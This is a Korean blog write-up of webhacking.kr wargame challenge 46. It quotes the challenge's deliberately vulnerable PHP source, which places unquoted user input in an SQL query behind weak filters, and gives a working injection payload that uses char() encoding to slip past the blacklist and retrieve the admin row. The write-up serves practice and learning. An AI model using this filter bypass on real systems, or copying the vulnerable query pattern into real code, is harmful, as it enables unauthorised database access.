SQL Injection 문제다.
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 46</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
level : <input name=lv value=1><input type=submit>
</form>
<hr><a href=./?view_source=1>view-source</a><hr>
<?php
if($_GET['lv']){
$db = dbconnect();
$_GET['lv'] = addslashes($_GET['lv']);
$_GET['lv'] = str_replace(" ","",$_GET['lv']);
$_GET['lv'] = str_replace("/","",$_GET['lv']);
$_GET['lv'] = str_replace("*","",$_GET['lv']);
$_GET['lv'] = str_replace("%","",$_GET['lv']);
if(preg_match("/select|0x|limit|cash/i",$_GET['lv'])) exit();
$result = mysqli_fetch_array(mysqli_query($db,"select id,cash from chall46 where lv=$_GET[lv]"));
if($result){
echo("{$result['id']} information<br><br>money : {$result['cash']}");
if($result['id'] == "admin") solve(46);
}
}
?>
</body>
</html>
source code부터 보자.
일단 lv에 addslashes를 적용하고 있고.. " ", /, *, %를 모두 ""로 처리해버리고 있다.
select, 0x, limit, cash, i를 쓰면 exit()을 하고 있고,
"select id,cash from chall46 where lv=$_GET[lv]" 이 부분을 조작해야하는 것 같다.
그리고 result['id']가 admin이면 문제가 해결됨.
일단 level에 숫자를 입력해봤는데, 1-4까지는 cash~ 데이터가 나오고 5부턴 아무것도 안나온다.
lv=1 and id='admin'
이런식으로 입력하면될거 같은데 addslashes를 사용하고 있으니까
%27이 '..
공백은 %20
그리고 지금 0x도 우회하고 있음..... ㅡㅡ
char는 써도 되려나? 아스키코드표를 참고하면 admin은 char(97,100,109,105,110)이다.
lv=1%20&&%20id=%27char(97,100,109,105,110)%27
음.... 이렇게 했는데 안된다.
..
get 방식으로 처음에 보냈는데 안돼서 그냥 input 창에
1&&id=char(97,100,109,105,110) 이렇게 입력했더니
문제가 풀렸다.
참고로 char() 말고 이진수로도 풀이가 가능하다고 함. (16진수만 필터링 됨)
어렵다 어려워
'CTF, 워게임 문제 풀이 > webhacking.kr' 카테고리의 다른 글
webhacking.kr 48번 문제 풀이 (0) | 2022.12.16 |
---|---|
webhacking.kr 47번 문제 풀이 (0) | 2022.12.16 |
webhacking.kr 45번 문제 (0) | 2022.12.13 |
webhacking.kr 44번 문제 (0) | 2022.12.10 |
webhacking.kr 43번 문제 (0) | 2022.12.10 |
댓글